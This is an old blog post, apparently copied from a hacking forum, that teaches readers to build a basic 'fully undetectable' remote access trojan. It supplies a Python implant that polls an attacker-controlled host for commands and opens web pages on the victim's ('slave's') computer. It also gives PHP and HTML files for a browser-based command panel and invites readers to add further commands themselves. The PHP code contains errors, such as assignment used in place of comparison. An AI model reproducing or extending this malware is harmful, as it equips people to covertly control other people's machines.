Tuesday, May 29, 2012

[TuT]Make a Basic FUD Web Browser Based RAT in Python[/TuT]

This tutorial will teach you how to create a RAT in which the server is written in Python but the client can be accessed via any web browser.
Note: This tutorial will only show you the very basics. We will only be adding one command. This command will allow you to open a webpage of your choice on the slave's computer. You'll have to add the rest on your own.
Note: You can only execute one command every 5 seconds due to the sleep(5); in the manager.php file. You can change this by changing the 5 but I don't recommend it due to connection issues.

Python Server Writing
Here is our base Python script:

Quote:import webbrowser
import urllib2
while True:
(insert tab here)command = urllib2.urlopen("http://YOURHOST/command.txt","r").read();
(insert tab here)commandinfo = urllib2.urlopen("http://YOURHOST/commandinfo.txt","r").read();
(insert tab here)if command == "testwebpage":
(insert double tab here)webbrowser.open_new(commandinfo);
(insert double tab here)break;
Name the file anything you want.
Be sure to also create two blank text files; command.txt & commandinfo.txt. Be sure to upload them to your host and replace YOURHOST with, well, your host. Also, replace (insert tab here) with a tab (indent) and (insert double tab here) with a double tab (double indent). And yes, these do matter.

PHP Writing
Create a PHP file with the following code and upload it to the same host as the text files. Name it manager.php.
PHP Code:
<?php
$action 
$_GET['action'];$data $_GET['data'];$info $_GET['info'];

if(
$action="delete"){sleep(5);unlink("command.txt");unlink("commandinfo.txt");$open fopen("command.txt",'a');$open2 fopen("commandinfo.txt",'a');fclose($open);fclose($open2);
}

if(
$action="write"){unlink("command.txt");unlink("commandinfo.txt");$open3 fopen("command.txt",'a');$open4 fopen("commandinfo.txt",'a');fwrite($open3$data);fwrite($open4$info);fclose($open3);fclose($open4);
}
echo 
'<META HTTP-EQUIV=REFRESH CONTENT="0;URL=client.html">'?>

Client Writing
Create a HTML file with the following code in it. Name it client.html. Upload it to the same host as everything else.
Quote:<html>
<body>
<form action="clientmanager.php" method="get">
<input type="text" name="command" /><br />
<input type="text" name="commandinfo" />
<input type="submit" name="Execute" />
</form>
</body>
</html>

Create a PHP file with the following code in it. Name it clientmanager.php. Upload it to the same host as everything else.
PHP Code:
<?php
$command 
$_GET['command'];$commandinfo $_GET['commandinfo'];$url 'manager.php?action=write&data=' $command '&info=' $commandinfo;
echo 
'<iframe width="0" height="0" src="' $url '"></iframe>';
echo 
'<META HTTP-EQUIV=REFRESH CONTENT="0;URL=manager.php?action=delete">'?>

Now execute the Python script via IDLE (comes with Python) and visit client.html in your favorite web browser. In the first box, type testwebpage. In the second box, type the URL that you want to be opened. Click Execute and watch the magic happen!

No comments:

Post a Comment